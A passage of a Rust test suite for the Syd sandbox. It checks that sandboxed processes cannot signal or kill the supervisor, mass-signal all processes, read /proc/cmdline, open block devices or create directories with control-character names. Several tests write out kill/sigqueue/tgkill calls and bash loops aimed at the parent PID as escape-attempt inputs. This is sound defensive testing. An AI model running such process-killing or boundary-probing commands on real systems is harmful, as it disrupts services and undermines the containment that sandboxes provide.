    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_permission_denied!(status);

    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .m("unshare/user,pid:1")
        .do_("sigqueue", ["-1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_bare_sigqueue_one() -> TestResult {
    skip_unless_available!("sh");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    for sig in Signal::iterator() {
        // mass signaling is not permitted.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("sigqueue")
            .argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_no_such_process!(status);

        // sigqueue(sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("sigqueue")
            .argv([
                "sh",
                "-cx",
                &format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_permission_denied!(status);

        // sigqueue(-sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("sigqueue")
            .argv([
                "sh",
                "-cx",
                &format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_no_such_process!(status);
    }

    // mass broadcast signal is not permitted.
    // Syd allows signal 0 but kernel denies with EPERM.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("sigqueue")
        .argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_no_such_process!(status);

    // sigqueue(sydpid,0) does not propagate to syd.
    // ppid!=sydpid as of version 3.48.0:
    // Syd no longer shares process group with sandbox process.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("sigqueue")
        .argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_permission_denied!(status);

    // sigqueue(-sydpid,0) does not propagate to syd.
    let status = syd()
        .log("warn")
        .p("off")
        .do__("sigqueue")
        .argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_kill_all() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let (maj, min) = *syd::config::KERNEL_VERSION;
    let mut i = 0;
    let big = libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid process ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for pid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            let errno = match pid {
                "0" if maj < 6 || (maj == 6 && min < 12) => EPERM,
                "0" | "2" => 0,
                "1" | "3" => EPERM,
                _ => ESRCH,
            };
            i += 1;
            env::set_var("SYD_TEST_TIMEOUT", "30s");
            let status = syd()
                .log("warn")
                .p("off")
                .m("unshare/user,pid:1")
                .do_("kill", [pid, &format!("{}", sig as i32)])
                .status()
                .expect("execute syd");
            env::set_var("SYD_TEST_TIMEOUT", &timeout);
            if errno != 0 {
                assert_status_code!(status, errno);
            } else {
                match sig {
                    Signal::SIGBUS
                    | Signal::SIGCHLD
                    | Signal::SIGCONT
                    | Signal::SIGSEGV
                    | Signal::SIGURG
                    | Signal::SIGWINCH => {
                        assert_status_ok!(status);
                    }
                    Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                        assert_status_killed!(status);
                    }
                    _ => {
                        assert_status_code!(status, 128 + sig as i32);
                    }
                };
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_sigqueue_all() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let mut i = 0;
    let big = libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid process ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for pid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            let errno = match pid {
                "2" => 0,
                "1" | "3" => EPERM,
                _ => ESRCH,
            };
            i += 1;
            env::set_var("SYD_TEST_TIMEOUT", "30s");
            let status = syd()
                .log("warn")
                .p("off")
                .m("unshare/user,pid:1")
                .do_("sigqueue", [pid, &format!("{}", sig as i32)])
                .status()
                .expect("execute syd");
            env::set_var("SYD_TEST_TIMEOUT", &timeout);
            if errno != 0 {
                assert_status_code!(status, errno);
            } else if pid != "2" {
                assert_status_ok!(status);
            } else {
                match sig {
                    Signal::SIGBUS
                    | Signal::SIGCHLD
                    | Signal::SIGCONT
                    | Signal::SIGSEGV
                    | Signal::SIGURG
                    | Signal::SIGWINCH => {
                        assert_status_ok!(status);
                    }
                    Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                        assert_status_killed!(status);
                    }
                    _ => {
                        assert_status_code!(status, 128 + sig as i32);
                    }
                };
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_tkill_all() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let (maj, min) = *syd::config::KERNEL_VERSION;
    let mut i = 0;
    let big = libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid process ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for tid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            let errno = match tid {
                "2" => 0,
                "1" | "3" if maj < 6 || (maj == 6 && min < 12) => ESRCH,
                "1" | "3" => EPERM,
                "0" | "-1" | "-2" | "-3" | "-1024" => EINVAL,
                p if p == big => EINVAL,
                _ => ESRCH,
            };
            i += 1;
            env::set_var("SYD_TEST_TIMEOUT", "30s");
            let status = syd()
                .log("warn")
                .p("off")
                .m("unshare/user,pid:1")
                .do_("tkill", [tid, &format!("{}", sig as i32)])
                .status()
                .expect("execute syd");
            env::set_var("SYD_TEST_TIMEOUT", &timeout);
            if errno != 0 {
                assert_status_code!(status, errno);
            } else if tid != "2" {
                assert_status_ok!(status);
            } else {
                match sig {
                    Signal::SIGBUS
                    | Signal::SIGCHLD
                    | Signal::SIGCONT
                    | Signal::SIGSEGV
                    | Signal::SIGURG
                    | Signal::SIGWINCH => {
                        assert_status_ok!(status);
                    }
                    Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                        assert_status_killed!(status);
                    }
                    _ => {
                        assert_status_code!(status, 128 + sig as i32);
                    }
                };
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_tgkill_all() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let (maj, min) = *syd::config::KERNEL_VERSION;
    let mut i = 0;
    let big = libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid process ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for tgid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            for tid in [
                "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
            ] {
                let errno = match (tgid, tid) {
                    ("2", "2") => 0,
                    ("0" | "-1" | "-2" | "-3" | "-1024", _) => EINVAL,
                    (_, "0" | "-1" | "-2" | "-3" | "-1024") => EINVAL,
                    (p, _) if p == big => EINVAL,
                    (_, p) if p == big => EINVAL,
                    ("1", "1" | "3") if maj < 6 || (maj == 6 && min < 12) => ESRCH,
                    ("1", "1" | "3") => EPERM,
                    _ => ESRCH,
                };
                i += 1;
                env::set_var("SYD_TEST_TIMEOUT", "30s");
                let status = syd()
                    .log("warn")
                    .p("off")
                    .m("unshare/user,pid:1")
                    .do_("tgkill", [tgid, tid, &format!("{}", sig as i32)])
                    .status()
                    .expect("execute syd");
                env::set_var("SYD_TEST_TIMEOUT", &timeout);
                if errno != 0 {
                    assert_status_code!(status, errno);
                } else if !(tgid == "2" && tid == "2") {
                    assert_status_ok!(status);
                } else {
                    match sig {
                        Signal::SIGBUS
                        | Signal::SIGCHLD
                        | Signal::SIGCONT
                        | Signal::SIGSEGV
                        | Signal::SIGURG
                        | Signal::SIGWINCH => {
                            assert_status_ok!(status);
                        }
                        Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                            assert_status_killed!(status);
                        }
                        _ => {
                            assert_status_code!(status, 128 + sig as i32);
                        }
                    };
                }
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_tgsigqueue_all() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let (maj, min) = *syd::config::KERNEL_VERSION;
    let mut i = 0;
    let big = libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid process ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for tgid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            for tid in [
                "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
            ] {
                let errno = match (tgid, tid) {
                    ("2", "2") => 0,
                    ("0" | "-1" | "-2" | "-3" | "-1024", _) => EINVAL,
                    (_, "0" | "-1" | "-2" | "-3" | "-1024") => EINVAL,
                    (p, _) if p == big => EINVAL,
                    (_, p) if p == big => EINVAL,
                    ("1", "1" | "3") if maj < 6 || (maj == 6 && min < 12) => ESRCH,
                    ("1", "1" | "3") => EPERM,
                    _ => ESRCH,
                };
                i += 1;
                env::set_var("SYD_TEST_TIMEOUT", "30s");
                let status = syd()
                    .log("warn")
                    .p("off")
                    .m("unshare/user,pid:1")
                    .do_("tgsigqueue", [tgid, tid, &format!("{}", sig as i32)])
                    .status()
                    .expect("execute syd");
                env::set_var("SYD_TEST_TIMEOUT", &timeout);
                if errno != 0 {
                    assert_status_code!(status, errno);
                } else if !(tgid == "2" && tid == "2") {
                    assert_status_ok!(status);
                } else {
                    match sig {
                        Signal::SIGBUS
                        | Signal::SIGCHLD
                        | Signal::SIGCONT
                        | Signal::SIGSEGV
                        | Signal::SIGURG
                        | Signal::SIGWINCH => {
                            assert_status_ok!(status);
                        }
                        Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                            assert_status_killed!(status);
                        }
                        _ => {
                            assert_status_code!(status, 128 + sig as i32);
                        }
                    };
                }
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_signal_protection_simple_landlock() -> TestResult {
    skip_unless_landlock_abi_supported!(6);
    skip_unless_available!("bash", "kill");

    let status = syd()
        .p("off")
        .argv(["bash", "-cx"])
        .arg(
            r#"
pid=$PPID
r=0

# Dummy signal is NOT permitted.
kill -0 ${pid} && exit 1

# No other signals are permitted.
# syd denies with errno=EACCES.
for sig in INT ABRT STOP KILL; do
    kill -${sig} ${pid} && r=1
    sleep 1
done

exit $r
"#,
        )
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_signal_protection_simple_killprot() -> TestResult {
    skip_unless_available!("bash", "kill");

    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .argv(["bash", "-cx"])
        .arg(
            r#"
pid=$PPID
r=0

# Dummy signal is NOT permitted.
kill -0 ${pid} && exit 1

# No other signals are permitted.
# syd denies with errno=EACCES.
for sig in INT ABRT STOP KILL; do
    kill -${sig} ${pid} && r=1
    sleep 1
done

exit $r
"#,
        )
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_signal_protection_killpg_0_landlock() -> TestResult {
    skip_unless_landlock_abi_supported!(6);

    // killpg(exec process) does not propagate to Syd.
    let status = syd()
        .p("off")
        .do_("kill", ["0", "9"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_0_killprot_default() -> TestResult {
    // killpg(exec process) does not propagate to Syd.
    //
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do_("kill", ["0", "9"])
        .status()
        .expect("execute syd");
    // syd does not share process group as of 3.35.2.
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_0_killprot_unsafe() -> TestResult {
    // killpg(exec process) does not propagate to Syd.
    //
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_pgrp:1")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do_("kill", ["0", "9"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_self_landlock() -> TestResult {
    skip_unless_landlock_abi_supported!(6);

    let status = syd()
        .p("off")
        .do_("killpg_self", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .do_("killpg_self", ["9"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_self_killprot_default() -> TestResult {
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do_("killpg_self", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do_("killpg_self", ["9"])
        .status()
        .expect("execute syd");
    // syd does not share process group as of 3.35.2.
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_self_killprot_unsafe() -> TestResult {
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_pgrp:1")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do_("killpg_self", ["0"])
        .status()
        .expect("execute syd");
    assert_status_no_such_process!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_pgrp:1")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do_("killpg_self", ["9"])
        .status()
        .expect("execute syd");
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_syd_landlock() -> TestResult {
    skip_unless_landlock_abi_supported!(6);
    skip_unless_available!("bash");

    // kill(-sydpid) does not propagate to syd.
    let status = syd()
        .p("off")
        .do__("kill")
        .argv(["bash", "-cx", &format!("{} -${{PPID}} 9", *SYD_DO)])
        .status()
        .expect("execute syd");
    // syd denies with errno=EPERM (consistent with landlock).
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_syd_killprot_default() -> TestResult {
    skip_unless_available!("bash");

    // kill(-sydpid) does not propagate to syd.
    //
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do__("kill")
        .argv(["bash", "-cx", &format!("{} -${{PPID}} 9", *SYD_DO)])
        .status()
        .expect("execute syd");
    // syd denies with errno=ESRCH (consistent with landlock).
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_syd_killprot_unsafe() -> TestResult {
    skip_unless_available!("bash");

    // kill(-sydpid) does not propagate to syd.
    //
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_pgrp:1")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do__("kill")
        .argv(["bash", "-cx", &format!("{} -${{PPID}} 9", *SYD_DO)])
        .status()
        .expect("execute syd");
    // syd denies with errno=ESRCH (consistent with landlock).
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_0_landlock() -> TestResult {
    skip_unless_landlock_abi_supported!(6);

    // mass signaling is not permitted with signal=0.
    let status = syd()
        .p("off")
        .do_("kill", ["-1", "0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_0_killprot_default() -> TestResult {
    // mass signaling is not permitted with signal=0.
    //
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do_("kill", ["-1", "0"])
        .status()
        .expect("execute syd");
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_0_killprot_unsafe() -> TestResult {
    // mass signaling is not permitted with signal=0.
    //
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_pgrp:1")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .do_("kill", ["-1", "0"])
        .status()
        .expect("execute syd");
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_int_landlock() -> TestResult {
    skip_unless_landlock_abi_supported!(6);
    skip_unless_unshare!("user", "mount", "pid");

    // mass signaling is not permitted.
    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .do_("kill", ["-1", "2"])
        .status()
        .expect("execute syd");
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_int_killprot_default() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // mass signaling is not permitted.
    //
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .m("unshare/user,pid:1")
        .do_("kill", ["-1", "2"])
        .status()
        .expect("execute syd");
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_int_killprot_unsafe() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // mass signaling is not permitted.
    //
    // Landlock ABI-6 is new in Linux>=6.12.
    let status = syd()
        .p("off")
        .env("SYD_ASSUME_KERNEL", "6.11")
        .m("trace/allow_unsafe_pgrp:1")
        .m("unshare/user,pid:1")
        .do_("kill", ["-1", "2"])
        .status()
        .expect("execute syd");
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_exp_emulate_open_fifo() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,truncate,mkfifo:on")
        .m("allow/read,stat,write,create,truncate,mkfifo+/***")
        .do_("emulate_open_fifo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_eintr_linux() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "interrupt_fifo")
        .status()
        .expect("execute syd-test-do");
    assert_status_interrupted!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_eintr_syd() -> TestResult {
    let status = syd()
        .p("off")
        .do_("interrupt_fifo", NONE)
        .status()
        .expect("execute syd");
    assert_status_interrupted!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_restart_linux() -> TestResult {
    let sa_flags = SaFlags::SA_RESTART.bits();

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "interrupt_fifo")
        .env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_restart_syd() -> TestResult {
    let sa_flags = SaFlags::SA_RESTART.bits();

    let status = syd()
        .env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
        .p("off")
        .do_("interrupt_fifo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_oneshot_eintr_linux() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "interrupt_fifo_oneshot")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_oneshot_eintr_syd() -> TestResult {
    let status = syd()
        .p("off")
        .do_("interrupt_fifo_oneshot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_oneshot_restart_linux() -> TestResult {
    let sa_flags = SaFlags::SA_RESTART.bits();

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "interrupt_fifo_oneshot")
        .env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_oneshot_restart_syd() -> TestResult {
    let sa_flags = SaFlags::SA_RESTART.bits();

    let status = syd()
        .env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
        .p("off")
        .do_("interrupt_fifo_oneshot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_pthread_sigmask() -> TestResult {
    let status = syd()
        .p("off")
        .do_("pthread_sigmask", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_kill() -> TestResult {
    skip_if_landlock_abi_supported!(6);
    skip_if_32bin_64host!();
    skip_unless_available!("cat", "cc", "sh");

    if !build_kill_eintr() {
        eprintln!("Failed to build kill-eintr code, skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip test.
    }

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .arg("./kill-eintr")
        .status()
        .expect("execute syd");
    assert_status_interrupted!(status);

    Ok(())
}

fn test_syd_deny_magiclinks() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // Check protections with stat sandboxing off.
    eprintln!("\x1b[36m<<< lib >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("deny_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off and lock on.
    eprintln!("\x1b[36m<<< lib with lock on >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("lock:on")
        .do_("deny_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks_1() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // Check protections with read+stat sandboxing off.
    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks_2() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // Check protections with read+stat sandboxing off and lock:exec.
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("unshare/user,pid:1")
        .m("lock:on")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks_3() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // Check protections with read+stat sandboxing on.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("unshare/user,pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks_4() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // Check protections with read+stat sandboxing on and lock:exec.
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("unshare/user,pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_lstat_magiclinks() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // Check protections with stat sandboxing on.
    // Pass allow/stat+/*** in case tests are run elsewhere.
    eprintln!("\x1b[36m<<< paludis >>>\x1b[0m");
    let status = syd()
        .p("paludis")
        .m("unshare/user,pid:1")
        .m("allow/stat,walk+/***")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off.
    eprintln!("\x1b[36m<<< lib >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off and lock on.
    eprintln!("\x1b[36m<<< lib with lock on >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("lock:on")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_access_unsafe_paths_per_process_default() -> TestResult {
    // Check protections with the Linux profile.
    let status = syd()
        .p("linux")
        .m("allow/exec,stat,walk+/***")
        .do_("access_unsafe_paths_per_process", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_access_unsafe_paths_per_process_sydinit() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");

    // Check protections with the Linux profile.
    let status = syd()
        .p("linux")
        .m("unshare/user,pid:1")
        .m("allow/exec,stat,walk+/***")
        .do_("access_unsafe_paths_per_process", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_prevent_block_device_access() -> TestResult {
    eprintln!("[*] Looking for a block device under /dev...");
    let dev = match grep(XPath::from_bytes(b"/dev"), b"!") {
        Some(mut name) => {
            name.truncate(name.len() - 1);
            XPathBuf::from(format!("/dev/{name}"))
        }
        None => {
            eprintln!("No block device found under /dev, skipping!");
            env::set_var("SYD_TEST_SOFT_FAIL", "1");
            return Ok(());
        }
    };
    eprintln!("[*] Running tests with {dev}...");

    eprintln!("[*] Attempting to open {dev} with O_PATH outside Syd...");
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "open_path")
        .arg(&dev)
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    eprintln!("[*] Attempting to open {dev} with O_PATH inside Syd...");
    let status = syd()
        .p("fs")
        .m("allow/read,stat,walk,write,create,exec+/***")
        .do_("open_path", &[dev])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

fn test_syd_access_proc_cmdline() -> TestResult {
    skip_unless_available!("cat", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(
            r#"
cmdline=$(cat /proc/cmdline)
if test -n "$cmdline"; then
    echo >&2 "/proc/cmdline leaked with sandboxing off."
    false
else
    echo >&2 "/proc/cmdline is empty as expected."
    true
fi
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_mkdir_with_control_chars_default() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("sandbox/stat,walk,mkdir:on")
        .m("allow/stat,walk,mkdir+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir mccd || exit 127
mkdir $'./mccd/test_alert_dir\a' && r=1
test -e $'./mccd/test_alert_dir\a' && r=2
mkdir $'./mccd/test_vertical_tab_dir\v' && r=3
test -e $'./mccd/test_vertical_tab_dir\v' && r=4
mkdir $'./mccd/test_form_feed_dir\f' && r=5
test -e $'./mccd/test_form_feed_dir\f' && r=6
mkdir $'./mccd/test_multi_control_dir\x01\x02\x03' && r=7
